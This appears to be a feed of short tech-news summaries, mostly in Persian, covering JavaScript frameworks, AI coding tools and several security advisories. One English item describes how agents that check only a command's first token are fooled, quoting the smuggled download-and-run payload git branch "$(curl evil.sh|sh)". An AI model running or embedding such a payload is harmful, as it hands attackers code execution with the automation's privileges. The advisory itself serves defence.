اکوسیستم جاوااسکریپت و تایپاسکریپت.
آسیبپذیری SSRF در نسخه 0.33.2 Ollama همچنان پابرجاست؛ زیرا دانلودکننده مدل تنسور از یک کلاینت HTTP مجزا استفاده میکند که محافظت در برابر تغییر مسیر (که برای رفع CVE-2026-5530 اضافه شده بود) را نادیده میگیرد. این موضوع به مهاجمان اجازه میدهد تا فرآیند دانلود مدل را به هر آدرس قابل دسترسی دیگری هدایت کنند.
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
این تخفیف ۴۵ درصدی زمانی اعمال میشود که از پرامپت سیستم و طرحواره ابزار (tool schema) یکسان در تکرارهای متعدد استفاده شود؛ امری که Claude Fable 5.1 را بهویژه برای بازبینهای خودکار کد، رباتهای اولویتبندی تیکتها و سایر خط لولههای تکراری عاملها بسیار جذاب میکند.
WebFPGA از WebUSB API برای برنامهریزی یک FPGA مدل Lattice iCE40-UP5K از طریق JavaScript استفاده میکند؛ این امر امکان استنتاج TinyML زیر ۱۰ میلیثانیه را با مصرف تنها چند ده میلیوات فراهم کرده و تمامی دادهها را در داخل دستگاه حفظ میکند.
کلیدهای فاششده به مهاجمان اجازه میدهند تا تراکنشهای مالی ایجاد کنند، فاکتورها را استخراج کرده و دادههای شخصی را سرقت کنند؛ موضوعی که خطر بازگشت وجه (chargeback)، جریمههای سنگین و آسیب به اعتبار برند را به همراه دارد. اقدامات فوری شامل مسدود کردن dotfileها، بازنشانی (rotation) تمامی کلیدها و انتقال اطلاعات حساس به یک مخزن امن (vault) است.
نسخه جدید چیدمان پاراگراف را برای خطوط پیچیده بهبود میبخشد، یک نمای پیشنویس سادهشده اضافه میکند و تبدیل فرمتهای ODF به DOCX/XLSX را ارتقا میدهد؛ در حالی که وصلههای امنیتی و محیط ایزولهسازی ماکروها، امنیت اسناد را در محل (on-premise) حفظ میکنند.
این موتور که با Rust نوشته شده است، در یک فرآیند مجزا اجرا میشود؛ این کار باعث جداسازی تحلیل نوع از رشته (thread) رابط کاربری شده و با افزودن سیستم کشینگ هوشمندتر که فقط فایلهای تغییریافته را مجدداً بررسی میکند، بیلدهای افزایشی سریعتر و روانتری را ارائه میدهد.
حالت Vapor که بهزودی در Vue 3.6 عرضه میشود، کامپوننتهای تکفایلی را به فراخوانیهای مستقیم DOM تبدیل کرده و مرحله مقایسه (diff) در Virtual DOM را حذف میکند. در بازیهای بنچمارک که دهها بار در ثانیه بازطراحی (repaint) میشوند، این تغییر باعث کاهش زمان رندر و کوچکتر شدن حجم باندلها میشود؛ هرچند رابطهای کاربری با نرخ بهروزرسانی پایین، بهبود چندانی را مشاهده نخواهند کرد.
مهندسان آنتروپیک از ۶۴ عامل موازی Claude Fable 5 برای بازنویسی کد پایه Bun به زبان Rust طی ۱۱ روز استفاده کردند که منجر به مصرف ۱۶۵ هزار دلار توکن شد، اما با در نظر گرفتن هزینههای محاسباتی پس از ادغام و ممیزیهای امنیتی، هزینه واقعی احتمالاً بسیار فراتر از این رقم خواهد بود.
با حذف هدرهای درخواستِ مخصوص نسخه بتا، سازمانها سرانجام میتوانند موانع حقوقی و امنیتی را برطرف کنند. همچنین، حالت جدید «عملیات دستهای» (batch-action) برای ابزار استفاده از کامپیوتر، نویدبخش کاهش تأخیر و مصرف توکن است، هرچند میزان دقیق این صرفهجوییها نیاز به تأیید دارد.
The release also brings production-ready Partial Prerendering that can shave 40-60 % off Time to Interactive, tighter TypeScript support for Server Actions, and Rust-based middleware, but it requires Node 20+ and may break existing Webpack plugins.
نسخه بتای جدید به شما این امکان را میدهد که فقط قابلیتهای جدولی مورد نیاز خود را وارد کنید؛ با حذف کامل کدهای مرتبسازی، حجم دانلود را به حدود ۵ کیلوبایت برسانید و از پردازشهای سنگین در رشته اصلی (main-thread) که پیشتر باعث کاهش امتیاز INP میشد، جلوگیری کنید.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
Mastering Advanced Server Side Caching in Next.js Scaling a Next.js app requires more than just choosing between SSR and SSG. As your data grows, you need advanced caching to redu…
زمانی که Coffer یک دیباگر Chrome DevTools را از طریق Playwright متصل کرد، سرعت آپلودهای مبتنی بر fetch آنها از ۶۰۰ مگابیت بر ثانیه به تنها ۱۱۳ مگابیت بر ثانیه کاهش یافت؛ کندی بیش از ۲۰ برابری که نتایج بنچمارک آنها را کاملاً دگرگون کرد.
افزودن هدرهای COOP و COEP قابلیت چندرشتهای (multithreading) واقعی را فراهم کرد، اما بلافاصله ابزارهای تحلیل، فونتهای گوگل، ویدیوهای یوتیوب و پنجرههای بازشوی OAuth را مسدود کرد؛ امری که مرا وادار کرد تا داراییها را روی سرور خودم میزبانی کرده و فرانتاند را از پایه بازنویسی کنم.
مرورگر در مقابل نود: تفاوت در حلقه رویداد (Event Loop). حلقه رویداد بخشی از مشخصات زبان جاوااسکریپت نیست، بلکه بخشی از محیط میزبان است. مرورگر و نود آن را به گونهای متفاوت پیادهسازی میک...
The team discovered that a misleading error title sent engineers chasing phantom bugs, while 89% of the logged failures were simple network timeouts. By subscribing to connection-change events, adding a no-progress watchdog, and avoiding mid-download CDN switches, they eliminated silent 5.5 MB runti
CVE 2026 8457: دور زدن احراز هویت در WooCommerce Social Login؛ یک نقص امنیتی بحرانی در افزونه WooCommerce Social Login ساخته شده توسط WPWeb Elite وجود دارد. این آسیبپذیری دارای امتیاز CVSS 9 است...
این هوک یک مقدار بولین برمیگرداند که بهصورت لحظهای بهروزرسانی میشود و به شما اجازه میدهد بدون نیاز به انتظار برای شکست خوردن یک درخواست fetch، اپلیکیشن اصلی را با یک پیام ساده «شما آفلاین هستید» جایگزین کنید؛ اما این هوک بهتنهایی قابلیتهای کشینگ یا همگامسازی در پسزمینه را فراهم نمیکند.
پروکسی LiteLLM داکر شدهی یک توسعهدهنده، رابط خط فرمان (CLI) Claude Code را به گونهای هدایت میکند که با مدل Nova آمازون در Bedrock ارتباط برقرار کند؛ این روش ضمن حفظ همان روند کاری، هزینههای مرحله یادگیری را در مقایسه با قیمتگذاری Anthropic تا یکسوم کاهش میدهد.
The Rust-based Sätteri engine in Astro 7 misorders syntax highlighting and plugin execution, turning display-math blocks into plain code, wiping out heading IDs and silently ignoring any extra config fields like shikiConfig, forcing developers to overhaul their Markdown stack.
R8 همراه با Android Gradle Plugin 9.2.0 اکنون فراخوانیهای بازتابی (reflective) AtomicFieldUpdater را با یک دستورالعمل واحد Unsafe جایگزین میکند؛ این کار هزینههای همگامسازی را به شدت کاهش داده و باعث میشود عملیاتهای channel، mutex و StateFlow بدون نیاز به هیچ تغییری در کد منبع، تقریباً ۲ برابر سریعتر انجام شوند.
The May 2026 update lets developers invoke server-side logic with a simple async call, while TypeScript 6 brings the satisfies operator, faster incremental builds and stricter route typing—all without leaving the SvelteKit CLI.
